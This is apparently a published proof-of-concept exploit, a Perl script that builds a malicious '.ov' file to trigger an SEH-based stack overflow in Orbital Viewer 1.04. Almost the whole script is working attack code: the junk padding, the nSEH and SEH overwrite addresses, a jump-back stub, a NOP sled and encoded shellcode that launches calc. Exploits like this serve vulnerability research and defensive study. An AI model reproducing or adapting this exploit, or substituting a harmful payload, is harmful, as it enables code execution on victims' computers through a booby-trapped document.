Orbital Viewer 1.04 - '.ov' Local Universal Stack Overflow (SEH)

#!usr/bin/perl
#########################################################################################
#Pro: Orbital Viewer v1.04 (.orb/.ov) Local Universal Stack Overflow Exploit [SEH]
#Author: Crazy_Hacker
#Download: http://www.orbitals.com/orb/setupov.exe
#Date: 20-6-2010
#Tested: WinXp SP2
##########################################################################################

$junk = 6060;
$header = "OrbitalFileV1.0\n";
$nseh = "\xeb\xf9\xff\xff"; # jmp back 7 bytes
$seh = "\x0b\x0b\x27\x00"; # universal pop ebx - pop eax - ret at 0x00457C03 [ov.exe]
$fly_by = "\xe9\x52\xfe\xff\xff"; # jmp back 430 bytes = land on A's => nops => shellcode

#calc
$shellcode =
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49".
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36".
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34".
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41".
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x34".
"\x42\x50\x42\x50\x42\x30\x4b\x38\x45\x34\x4e\x43\x4b\x48\x4e\x47".
"\x45\x30\x4a\x47\x41\x50\x4f\x4e\x4b\x48\x4f\x44\x4a\x41\x4b\x48".
"\x4f\x55\x42\x52\x41\x30\x4b\x4e\x49\x54\x4b\x58\x46\x43\x4b\x38".
"\x41\x50\x50\x4e\x41\x33\x42\x4c\x49\x49\x4e\x4a\x46\x48\x42\x4c".
"\x46\x37\x47\x50\x41\x4c\x4c\x4c\x4d\x30\x41\x30\x44\x4c\x4b\x4e".
"\x46\x4f\x4b\x43\x46\x55\x46\x32\x46\x30\x45\x47\x45\x4e\x4b\x48".
"\x4f\x35\x46\x32\x41\x30\x4b\x4e\x48\x56\x4b\x58\x4e\x30\x4b\x44".
"\x4b\x58\x4f\x55\x4e\x31\x41\x50\x4b\x4e\x4b\x58\x4e\x51\x4b\x48".
"\x41\x50\x4b\x4e\x49\x58\x4e\x55\x46\x42\x46\x30\x43\x4c\x41\x33".
"\x42\x4c\x46\x36\x4b\x38\x42\x44\x42\x53\x45\x48\x42\x4c\x4a\x37".
"\x4e\x30\x4b\x48\x42\x54\x4e\x30\x4b\x58\x42\x57\x4e\x51\x4d\x4a".
"\x4b\x38\x4a\x36\x4a\x50\x4b\x4e\x49\x30\x4b\x48\x42\x48\x42\x4b".
"\x42\x50\x42\x50\x42\x50\x4b\x48\x4a\x56\x4e\x33\x4f\x35\x41\x53".
"\x48\x4f\x42\x56\x48\x45\x49\x38\x4a\x4f\x43\x58\x42\x4c\x4b\x57".
"\x42\x35\x4a\x46\x42\x4f\x4c\x58\x46\x50\x4f\x55\x4a\x36\x4a\x59".
"\x50\x4f\x4c\x38\x50\x50\x47\x35\x4f\x4f\x47\x4e\x43\x36\x41\x56".
"\x4e\x56\x43\x46\x42\x30\x5a";
$nops = "\x90" x 20;
$payload = $nops.$shellcode.$fly_by;
$p_size = length($payload);
$final = $junk-$p_size;
$buffer = "\x41" x $final;
$exploit = $header.$buffer.$payload.$nseh.$seh;

open(my $c_h,">> exploit.ov");
print $c_h $exploit;
close $c_h;

print "File wuz created successfully!";